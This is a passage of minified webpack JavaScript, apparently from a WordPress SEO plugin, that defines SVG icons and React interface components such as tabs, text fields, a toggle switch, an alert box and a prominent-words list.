l593.1,593.1c16.2,16.2,38.8,25.6,61.8,25.6c23,0,45.6-9.4,61.8-25.6L1766.4,311c16.2-16.2,25.6-38.8,25.6-61.8 s-9.4-45.6-25.6-61.8L1604.5,25.6C1588.3,9.4,1565.8,0,1542.8,0c-23,0-45.6,9.4-61.8,25.6L680.4,827L311,456.3 C294.8,440.5,272.3,431.2,249.2,431.2z"},"angle-down":{viewbox:i,path:"M1395 736q0 13-10 23l-466 466q-10 10-23 10t-23-10l-466-466q-10-10-10-23t10-23l50-50q10-10 23-10t23 10l393 393 393-393q10-10 23-10t23 10l50 50q10 10 10 23z"},"angle-left":{viewbox:i,path:"M1203 544q0 13-10 23l-393 393 393 393q10 10 10 23t-10 23l-50 50q-10 10-23 10t-23-10l-466-466q-10-10-10-23t10-23l466-466q10-10 23-10t23 10l50 50q10 10 10 23z"},"angle-right":{viewbox:i,path:"M1171 960q0 13-10 23l-466 466q-10 10-23 10t-23-10l-50-50q-10-10-10-23t10-23l393-393-393-393q-10-10-10-23t10-23l50-50q10-10 23-10t23 10l466 466q10 10 10 23z"},"angle-up":{viewbox:i,path:"M1395 1184q0 13-10 23l-50 50q-10 10-23 10t-23-10l-393-393-393 393q-10 10-23 10t-23-10l-50-50q-10-10-10-23t10-23l466-466q10-10 23-10t23 10l466 466q10 10 10 23z"},"arrow-down":{viewbox:i,path:"M896 1791L120.91 448.5L1671.09 448.5z"},"arrow-left":{viewbox:i,path:"M1343.5 1671.09L1 896L1343.5 120.91z"},"arrow-right":{viewbox:i,path:"M1791 896L448.5 1671.09L448.5 120.91z"},"arrow-up":{viewbox:i,path:"M1671.09 1343.5L120.91 1343.5L896 1z"},"caret-right":{viewbox:"0 0 192 512",path:"M 0 384.662 V 127.338 c 0 -17.818 21.543 -26.741 34.142 -14.142 l 128.662 128.662 c 7.81 7.81 7.81 20.474 0 28.284 L 34.142 398.804 C 21.543 411.404 0 402.48 0 384.662 Z"},circle:{viewbox:i,path:"M1664 896q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"},desktop:{viewbox:i,path:"M1728 992v-832q0-13-9.5-22.5t-22.5-9.5h-1600q-13 0-22.5 9.5t-9.5 22.5v832q0 13 9.5 22.5t22.5 9.5h1600q13 0 22.5-9.5t9.5-22.5zm128-832v1088q0 66-47 113t-113 47h-544q0 37 16 77.5t32 71 16 43.5q0 26-19 45t-45 19h-512q-26 0-45-19t-19-45q0-14 16-44t32-70 16-78h-544q-66 0-113-47t-47-113v-1088q0-66 47-113t113-47h1600q66 0 113 47t47 113z"},edit:{viewbox:i,path:"M491 1536l91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192l416 416-832 832h-416v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z"},eye:{viewbox:i,path:"M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5t-316.5 131.5-316.5-131.5-131.5-316.5q0-121 61-225-229 117-381 353 133 205 333.5 326.5t434.5 121.5 434.5-121.5 333.5-326.5zm-720-384q0-20-14-34t-34-14q-125 0-214.5 89.5t-89.5 214.5q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5t-499.5 138.5-499.5-139-376.5-368q-20-35-20-69t20-69q140-229 376.5-368t499.5-139 499.5 139 376.5 368q20 35 20 69z"},"exclamation-triangle":{viewbox:i,path:"M1024 1375v-190q0-14-9.5-23.5T992 1152H800q-13 0-22.5 9.5T768 1185v190q0 14 9.5 23.5t22.5 9.5h192q13 0 22.5-9.5t9.5-23.5zm-2-374l18-459q0-12-10-19-13-11-24-11H786q-11 0-24 11-10 7-10 21l17 457q0 10 10 16.5t24 6.5h185q14 0 23.5-6.5t10.5-16.5zm-14-934l768 1408q35 63-2 126-17 29-46.5 46t-63.5 17H128q-34 0-63.5-17T18 1601q-37-63-2-126L784 67q17-31 47-49t65-18 65 18 47 49z"},"file-text":{viewbox:i,path:"M1596 380q28 28 48 76t20 88v1152q0 40-28 68t-68 28h-1344q-40 0-68-28t-28-68v-1600q0-40 28-68t68-28h896q40 0 88 20t76 48zm-444-244v376h376q-10-29-22-41l-313-313q-12-12-41-22zm384 1528v-1024h-416q-40 0-68-28t-28-68v-416h-768v1536h1280zm-1024-864q0-14 9-23t23-9h704q14 0 23 9t9 23v64q0 14-9 23t-23 9h-704q-14 0-23-9t-9-23v-64zm736 224q14 0 23 9t9 23v64q0 14-9 23t-23 9h-704q-14 0-23-9t-9-23v-64q0-14 9-23t23-9h704zm0 256q14 0 23 9t9 23v64q0 14-9 23t-23 9h-704q-14 0-23-9t-9-23v-64q0-14 9-23t23-9h704z"},gear:{viewbox:i,path:"M1800 800h-218q-26 -107 -81 -193l154 -154l-210 -210l-154 154q-88 -55 -191 -79v-218h-300v218q-103 24 -191 79l-154 -154l-212 212l154 154q-55 88 -79 191h-218v297h217q23 101 80 194l-154 154l210 210l154 -154q85 54 193 81v218h300v-218q103 -24 191 -79 l154 154l212 -212l-154 -154q57 -93 80 -194h217v-297zM950 650q124 0 212 88t88 212t-88 212t-212 88t-212 -88t-88 -212t88 -212t212 -88z"},key:{viewbox:i,path:"M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5t-102.5-265.5q0-160 95-313t248-248 313-95q163 0 265.5 102.5t102.5 265.5q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z"},list:{viewbox:i,path:"M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zm-1408-928q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5z"},"loading-spinner":{viewbox:"0 0 66 66",CustomComponent:s,path:[o.default.createElement("circle",{key:"5",className:"path",fill:"none",strokeWidth:"6",strokeLinecap:"round",cx:"33",cy:"33",r:"30"})]},mobile:{viewbox:i,path:"M976 1408q0-33-23.5-56.5t-56.5-23.5-56.5 23.5-23.5 56.5 23.5 56.5 56.5 23.5 56.5-23.5 23.5-56.5zm208-160v-704q0-13-9.5-22.5t-22.5-9.5h-512q-13 0-22.5 9.5t-9.5 22.5v704q0 13 9.5 22.5t22.5 9.5h512q13 0 22.5-9.5t9.5-22.5zm-192-848q0-16-16-16h-160q-16 0-16 16t16 16h160q16 0 16-16zm288-16v1024q0 52-38 90t-90 38h-512q-52 0-90-38t-38-90v-1024q0-52 38-90t90-38h512q52 0 90 38t38 90z"},"pencil-square":{viewbox:i,path:"M888 1184l116-116-152-152-116 116v56h96v96h56zm440-720q-16-16-33 1l-350 350q-17 17-1 33t33-1l350-350q17-17 1-33zm80 594v190q0 119-84.5 203.5t-203.5 84.5h-832q-119 0-203.5-84.5t-84.5-203.5v-832q0-119 84.5-203.5t203.5-84.5h832q63 0 117 25 15 7 18 23 3 17-9 29l-49 49q-14 14-32 8-23-6-45-6h-832q-66 0-113 47t-47 113v832q0 66 47 113t113 47h832q66 0 113-47t47-113v-126q0-13 9-22l64-64q15-15 35-7t20 29zm-96-738l288 288-672 672h-288v-288zm444 132l-92 92-288-288 92-92q28-28 68-28t68 28l152 152q28 28 28 68t-28 68z"},plus:{viewbox:i,path:"M1600 736v192q0 40-28 68t-68 28h-416v416q0 40-28 68t-68 28h-192q-40 0-68-28t-28-68v-416h-416q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h416v-416q0-40 28-68t68-28h192q40 0 68 28t28 68v416h416q40 0 68 28t28 68z"},"plus-circle":{viewbox:i,path:"M1344 960v-128q0-26-19-45t-45-19h-256v-256q0-26-19-45t-45-19h-128q-26 0-45 19t-19 45v256h-256q-26 0-45 19t-19 45v128q0 26 19 45t45 19h256v256q0 26 19 45t45 19h128q26 0 45-19t19-45v-256h256q26 0 45-19t19-45zm320-64q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"},"question-circle":{viewbox:i,path:"M1024 1376v-192q0-14-9-23t-23-9h-192q-14 0-23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23-9t9-23zm256-672q0-88-55.5-163t-138.5-116-170-41q-243 0-371 213-15 24 8 42l132 100q7 6 19 6 16 0 25-12 53-68 86-92 34-24 86-24 48 0 85.5 26t37.5 59q0 38-20 61t-68 45q-63 28-115.5 86.5t-52.5 125.5v36q0 14 9 23t23 9h192q14 0 23-9t9-23q0-19 21.5-49.5t54.5-49.5q32-18 49-28.5t46-35 44.5-48 28-60.5 12.5-81zm384 192q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"},search:{viewbox:i,path:"M1216 832q0-185-131.5-316.5t-316.5-131.5-316.5 131.5-131.5 316.5 131.5 316.5 316.5 131.5 316.5-131.5 131.5-316.5zm512 832q0 52-38 90t-90 38q-54 0-90-38l-343-342q-179 124-399 124-143 0-273.5-55.5t-225-150-150-225-55.5-273.5 55.5-273.5 150-225 225-150 273.5-55.5 273.5 55.5 225 150 150 225 55.5 273.5q0 220-124 399l343 343q37 37 37 90z"},"seo-score-bad":{viewbox:"0 0 496 512",path:"M248 8C111 8 0 119 0 256s111 248 248 248s248-111 248-248S385 8 248 8z M328 176c17.7 0 32 14.3 32 32 s-14.3 32-32 32s-32-14.3-32-32S310.3 176 328 176z M168 176c17.7 0 32 14.3 32 32s-14.3 32-32 32s-32-14.3-32-32S150.3 176 168 176 z M338.2 394.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320 s86.3 19.6 114.7 53.8C376.3 390 351.7 410.5 338.2 394.2L338.2 394.2z"},"seo-score-good":{viewbox:"0 0 496 512",path:"M248 8C111 8 0 119 0 256s111 248 248 248s248-111 248-248S385 8 248 8z M328 176c17.7 0 32 14.3 32 32 s-14.3 32-32 32s-32-14.3-32-32S310.3 176 328 176z M168 176c17.7 0 32 14.3 32 32s-14.3 32-32 32s-32-14.3-32-32S150.3 176 168 176 z M362.8 346.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5c22.4 26.9 55.2 42.2 90.2 42.2 s67.8-15.4 90.2-42.2C351.6 309.5 376.3 329.9 362.8 346.2L362.8 346.2z"},"seo-score-none":{viewbox:"0 0 496 512",path:"M248 8C111 8 0 119 0 256s111 248 248 248s248-111 248-248S385 8 248 8z"},"seo-score-ok":{viewbox:"0 0 496 512",path:"M248 8c137 0 248 111 248 248S385 504 248 504S0 393 0 256S111 8 248 8z M360 208c0-17.7-14.3-32-32-32 s-32 14.3-32 32s14.3 32 32 32S360 225.7 360 208z M344 368c21.2 0 21.2-32 0-32H152c-21.2 0-21.2 32 0 32H344z M200 208 c0-17.7-14.3-32-32-32s-32 14.3-32 32s14.3 32 32 32S200 225.7 200 208z"},times:{viewbox:i,path:"M1490 1322q0 40-28 68l-136 136q-28 28-68 28t-68-28l-294-294-294 294q-28 28-68 28t-68-28l-136-136q-28-28-28-68t28-68l294-294-294-294q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 294 294-294q28-28 68-28t68 28l136 136q28 28 28 68t-28 68l-294 294 294 294q28 28 28 68z"},"times-circle":{viewbox:"0 0 20 20",path:"M10 2c4.42 0 8 3.58 8 8s-3.58 8-8 8-8-3.58-8-8 3.58-8 8-8zm5 11l-3-3 3-3-2-2-3 3-3-3-2 2 3 3-3 3 2 2 3-3 3 3z"},"alert-info":{viewbox:"0 0 512 512",path:"M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z"},"alert-error":{viewbox:"0 0 512 512",path:"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z"},"alert-success":{viewbox:"0 0 512 512",path:"M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z"},"alert-warning":{viewbox:"0 0 576 512",path:"M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"},"chart-square-bar":{viewbox:"0 0 24 24",path:[o.default.createElement("path",{key:"1",fill:"#ffffff",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"2",d:"M16 8v8m-4-5v5m-4-2v2m-2 4h12a2 2 0 002-2V6a2 2 0 00-2-2H6a2 2 0 00-2 2v12a2 2 0 002 2z"})]}};t.default=(0,a.createSvgIconComponent)(u)},97485:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=d(r(99196)),n=d(r(85890)),a=d(r(98487)),l=r(3199),s=r(23613),i=r(82572),u=r(23695);function d(e){return e&&e.__esModule?e:{default:e}}function c(){return c=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},c.apply(this,arguments)}const f=a.default.span`
	margin-bottom: 0.5em;
`,p=(0,a.default)(i.InputLabel)`
	display: inline-block;
	margin-bottom: 0;
	${(0,u.getDirectionalStyle)("margin-right: 4px","margin-left: 4px")};
`,h=e=>{const{label:t,helpLink:r,...n}=e;return o.default.createElement(l.InputContainer,null,o.default.createElement(f,null,o.default.createElement(p,{htmlFor:n.id},t),r),o.default.createElement(s.InputField,c({},n,{autoComplete:"off"})))};h.propTypes={type:n.default.string,id:n.default.string.isRequired,label:n.default.string,helpLink:n.default.node},h.defaultProps={type:"text",label:"",helpLink:null},t.default=h},51316:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=i(r(99196)),n=i(r(98487)),a=i(r(85890)),l=r(340),s=r(37188);function i(e){return e&&e.__esModule?e:{default:e}}const u=n.default.div`
	font-size: 1em;

	.react-tabs__tab-list {
		display: flex;
		flex-wrap: wrap;
		justify-content: center;
		list-style: none;
		padding: 0;
		margin: 0;
		border-bottom: 4px solid ${s.colors.$color_grey_light};
	}

	.react-tabs__tab {
		flex: 0 1 ${e=>e.tabsBaseWidth};
		text-align: center;
		margin: 0 16px;
		padding: 16px 0;
		cursor: pointer;
		font-family: "Open Sans", sans-serif;
		font-size: ${e=>e.tabsFontSize};
		line-height: 1.33333333;
		font-weight: ${e=>e.tabsFontWeight};
		color: ${e=>e.tabsTextColor};
		text-transform: ${e=>e.tabsTextTransform};

		&.react-tabs__tab--selected {
			box-shadow: 0 4px 0 0 ${s.colors.$color_pink_dark};
		}
	}

	.react-tabs__tab-panel {
		display: none;
		padding: 24px 40px;

		@media screen and ( max-width: ${s.breakpoints.mobile} ) {
			padding: 16px 16px;
		}

		:focus {
			outline: none;
		}

		&.react-tabs__tab-panel--selected {
			display: block;
		}
	}
`;u.propTypes={tabsTextColor:a.default.string,tabsTextTransform:a.default.string,tabsFontSize:a.default.string,tabsFontWeight:a.default.string,tabsBaseWidth:a.default.string};class d extends o.default.Component{getTabs(){return this.props.items.map((e=>o.default.createElement(l.Tab,{key:e.id},e.label)))}getTabPanels(){return this.props.items.map((e=>o.default.createElement(l.TabPanel,{key:e.id,tabIndex:"0"},e.content)))}render(){return o.default.createElement(u,{tabsTextColor:this.props.tabsTextColor,tabsTextTransform:this.props.tabsTextTransform,tabsFontSize:this.props.tabsFontSize,tabsFontWeight:this.props.tabsFontWeight,tabsBaseWidth:this.props.tabsBaseWidth},o.default.createElement(l.Tabs,{onSelect:this.props.onTabSelect},o.default.createElement(l.TabList,null,this.getTabs()),this.getTabPanels()))}componentDidMount(){this.props.onTabsMounted()}}d.propTypes={items:a.default.arrayOf(a.default.shape({id:a.default.string.isRequired,label:a.default.string.isRequired,content:a.default.object.isRequired})),tabsTextColor:a.default.string,tabsTextTransform:a.default.string,tabsFontSize:a.default.string,tabsFontWeight:a.default.string,tabsBaseWidth:a.default.string,onTabSelect:a.default.func,onTabsMounted:a.default.func},d.defaultProps={items:[],tabsTextColor:s.colors.$color_grey_dark,tabsTextTransform:"none",tabsFontSize:"1.5em",tabsFontWeight:"200",tabsBaseWidth:"200px",onTabSelect:()=>{},onTabsMounted:()=>{}},t.default=d},22386:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}function l(){return l=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},l.apply(this,arguments)}class s extends o.default.Component{constructor(e){super(e),this.setReference=this.setReference.bind(this)}render(){return o.default.createElement("textarea",l({ref:this.setReference,name:this.props.name,value:this.props.value,onChange:this.props.onChange},this.props.optionalAttributes))}setReference(e){this.ref=e}componentDidUpdate(){this.props.hasFocus&&this.ref.focus()}}s.propTypes={name:n.default.string,value:n.default.string,onChange:n.default.func,optionalAttributes:n.default.object,hasFocus:n.default.bool},s.defaultProps={name:"textarea",value:"",hasFocus:!1,onChange:null,optionalAttributes:{}},t.default=s},18547:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=i(r(99196)),n=i(r(85890)),a=i(r(1453)),l=i(r(66763)),s=i(r(22386));function i(e){return e&&e.__esModule?e:{default:e}}class u extends o.default.Component{constructor(e){super(e),this.optionalAttributes=this.parseOptionalAttributes()}render(){return this.optionalAttributes=this.parseOptionalAttributes(),this.props.class&&(this.optionalAttributes.container.className=this.props.class),o.default.createElement("div",this.optionalAttributes.container,o.default.createElement(a.default,{for:this.props.name,optionalAttributes:this.optionalAttributes.label},this.props.label),this.getTextField())}getTextField(){return!0===this.props.multiline?o.default.createElement("div",null,o.default.createElement(s.default,{name:this.props.name,id:this.props.name,onChange:this.props.onChange,optionalAttributes:this.optionalAttributes.field,hasFocus:this.props.hasFocus,value:this.props.value}),this.props.explanation&&o.default.createElement("p",null,this.props.explanation)):o.default.createElement("div",null,o.default.createElement(l.default,{name:this.props.name,id:this.props.name,type:"text",onChange:this.props.onChange,value:this.props.value,hasFocus:this.props.hasFocus,autoComplete:this.props.autoComplete,optionalAttributes:this.optionalAttributes.field}),this.props.explanation&&o.default.createElement("p",null,this.props.explanation))}parseOptionalAttributes(){const e={},t={},r={id:this.props.name};return Object.keys(this.props).forEach(function(o){o.startsWith("label-")&&(t[o.split("-").pop()]=this.props[o]),o.startsWith("field-")&&(r[o.split("-").pop()]=this.props[o]),o.startsWith("container-")&&(e[o.split("-").pop()]=this.props[o])}.bind(this)),{label:t,field:r,container:e}}}u.propTypes={label:n.default.string.isRequired,name:n.default.string.isRequired,onChange:n.default.func.isRequired,value:n.default.string,optionalAttributes:n.default.object,multiline:n.default.bool,hasFocus:n.default.bool,class:n.default.string,explanation:n.default.string,autoComplete:n.default.string},u.defaultProps={optionalAttributes:{},multiline:!1,hasFocus:!1,value:null,class:null,explanation:!1,autoComplete:null},t.default=u},47816:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=u(r(85890)),n=u(r(99196)),a=u(r(98487)),l=r(65736),s=r(23695),i=r(37188);function u(e){return e&&e.__esModule?e:{default:e}}const d=a.default.div`
	display: flex;
	width: 100%;
	justify-content: space-between;
	align-items: center;
	position: relative;
`,c=a.default.span`
	${(0,s.getDirectionalStyle)("margin-right","margin-left")}: 16px;
	flex: 1;
	cursor: pointer;
`,f=a.default.div`
	background-color: ${e=>e.isEnabled?"#a5d6a7":i.colors.$color_button_border};
	border-radius: 7px;
	height: 14px;
	width: 30px;
	cursor: pointer;
	margin: 0;
	outline: 0;
	&:focus > span {
		box-shadow: inset 0 0 0 1px ${i.colors.$color_white}, 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8);
	}
`,p=a.default.span`
	background-color: ${e=>e.isEnabled?i.colors.$color_green_medium_light:i.colors.$color_grey_medium_dark};
	${e=>e.isEnabled?(0,s.getDirectionalStyle)("margin-left: 12px;","margin-right: 12px;"):(0,s.getDirectionalStyle)("margin-left: -2px;","margin-right: -2px;")};
	box-shadow: 0 2px 2px 2px rgba(0, 0, 0, 0.1);
	border-radius: 100%;
	height: 20px;
	width: 20px;
	position: absolute;
	margin-top: -3px;
`,h=a.default.span`
	font-size: 14px;
	line-height: 20px;
	${(0,s.getDirectionalStyle)("margin-left","margin-right")}: 8px;
	font-style: italic;
`;class b extends n.default.Component{constructor(e){super(e),this.onClick=this.props.onToggleDisabled,this.onKeyUp=this.props.onToggleDisabled,this.setToggleState=this.setToggleState.bind(this),this.handleOnKeyDown=this.handleOnKeyDown.bind(this),!0!==e.disable&&(this.onClick=this.setToggleState.bind(this),this.onKeyUp=this.setToggleState.bind(this))}setToggleState(e){"keyup"===e.type&&32!==e.keyCode||this.props.onSetToggleState(!this.props.isEnabled)}handleOnKeyDown(e){32===e.keyCode&&e.preventDefault()}render(){return n.default.createElement(d,null,this.props.labelText&&n.default.createElement(c,{id:this.props.id,onClick:this.onClick},this.props.labelText),n.default.createElement(f,{isEnabled:this.props.isEnabled,onKeyDown:this.handleOnKeyDown,onClick:this.onClick,onKeyUp:this.onKeyUp,tabIndex:"0",role:"checkbox","aria-labelledby":this.props.id,"aria-checked":this.props.isEnabled,"aria-disabled":this.props.disable},n.default.createElement(p,{isEnabled:this.props.isEnabled})),this.props.showToggleStateLabel&&n.default.createElement(h,{"aria-hidden":"true"},this.props.isEnabled?(0,l.__)("On","wordpress-seo"):(0,l.__)("Off","wordpress-seo")))}}b.propTypes={isEnabled:o.default.bool,onSetToggleState:o.default.func,disable:o.default.bool,onToggleDisabled:o.default.func,id:o.default.string.isRequired,labelText:o.default.string,showToggleStateLabel:o.default.bool},b.defaultProps={isEnabled:!1,onSetToggleState:()=>{},labelText:"",disable:!1,onToggleDisabled:()=>{},showToggleStateLabel:!0},t.default=b},1382:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=d(r(66366)),n=d(r(85890)),a=d(r(99196)),l=d(r(98487)),s=r(37188),i=r(23695),u=d(r(78386));function d(e){return e&&e.__esModule?e:{default:e}}const c=l.default.div`
	display: flex;
	padding: 16px;
	background: ${s.colors.$color_alert_warning_background};
	color: ${s.colors.$color_alert_warning_text};
`,f=(0,l.default)(u.default)`
	margin-top: 2px;
`,p=l.default.div`
	margin: ${(0,i.getDirectionalStyle)("0 0 0 8px","0 8px 0 0")};
`;class h extends a.default.Component{render(){const{message:e}=this.props;return(0,o.default)(e)?null:a.default.createElement(c,null,a.default.createElement(f,{icon:"exclamation-triangle",size:"16px"}),a.default.createElement(p,null,e))}}h.propTypes={message:n.default.array},h.defaultProps={message:[]},t.default=h},64385:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}const l=e=>{console.warn("The WordList component has been deprecated and will be removed in a future release.");const{title:t,classNamePrefix:r,words:n,header:a,footer:l}=e,s=o.default.createElement("ol",{className:r+"__list"},n.map((e=>o.default.createElement("li",{key:e,className:r+"__item"},e))));return o.default.createElement("div",{className:r},o.default.createElement("p",null,o.default.createElement("strong",null,t)),a,s,l)};l.propTypes={words:n.default.array.isRequired,title:n.default.string.isRequired,header:n.default.string,footer:n.default.string,classNamePrefix:n.default.string},l.defaultProps={classNamePrefix:"",header:"",footer:""},t.default=l},1993:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=i(r(99196)),n=i(r(85890)),a=i(r(96746)),l=r(65736),s=i(r(31367));function i(e){return e&&e.__esModule?e:{default:e}}const u=({words:e,researchArticleLink:t})=>{const r=o.default.createElement("p",{className:"yoast-field-group__title"},(0,l.__)("Prominent words","wordpress-seo")),n=o.default.createElement("p",null,0===e.length?(0,l.__)("Once you add a bit more copy, we'll give you a list of words that occur the most in the content. These give an indication of what your content focuses on.","wordpress-seo"):(0,l.__)("The following words occur the most in the content. These give an indication of what your content focuses on. If the words differ a lot from your topic, you might want to rewrite your content accordingly. ","wordpress-seo")),i=o.default.createElement("p",null,(e=>{const t=(0,l.sprintf)((0,l.__)("Read our %1$sultimate guide to keyword research%2$s to learn more about keyword research and keyword strategy.","wordpress-seo"),"{{a}}","{{/a}}");return(0,a.default)({mixedString:t,components:{a:o.default.createElement("a",{href:e,target:"_blank",rel:"noreferrer"})}})})(t));return o.default.createElement(s.default,{words:e,header:r,introduction:n,footer:i})};u.propTypes={words:n.default.arrayOf(n.default.object).isRequired,researchArticleLink:n.default.string.isRequired},t.default=u},31367:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=l(r(74643));function l(e){return e&&e.__esModule?e:{default:e}}class s extends o.default.Component{constructor(e){super(e),this.state={words:[]}}static getDerivedStateFromProps(e){const t=[...e.words];t.sort(((e,t)=>t.getOccurrences()-e.getOccurrences()));const r=t.map((e=>e.getOccurrences())),o=Math.max(...r);return{words:t.map((e=>{const t=e.getOccurrences();return{name:e.getWord(),number:t,width:t/o*100}}))}}render(){return o.default.createElement("div",null,this.props.header,this.props.introduction,o.default.createElement(a.default,{items:this.state.words}),this.props.footer)}}s.propTypes={words:n.default.array.isRequired,header:n.default.element,introduction:n.default.element,footer:n.default.element},s.defaultProps={header:null,introduction:null,footer:null},t.default=s},14085:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o,n=(o=r(99196))&&o.__esModule?o:{default:o};function a(){return a=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},a.apply(this,arguments)}t.default=e=>n.default.createElement("svg",a({},e,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 500 500"}),n.default.createElement("path",{d:"M80,0H420a80,80,0,0,1,80,80V500a0,0,0,0,1,0,0H80A80,80,0,0,1,0,420V80A80,80,0,0,1,80,0Z",fill:"#a4286a"}),n.default.createElement("path",{d:"M437.61,2,155.89,500H500V80A80,80,0,0,0,437.61,2Z",fill:"#6c2548"}),n.default.createElement("path",{d:"M74.4,337.3v34.9c21.6-.9,38.5-8,52.8-22.5s27.4-38,39.9-72.9l92.6-248H214.9L140.3, 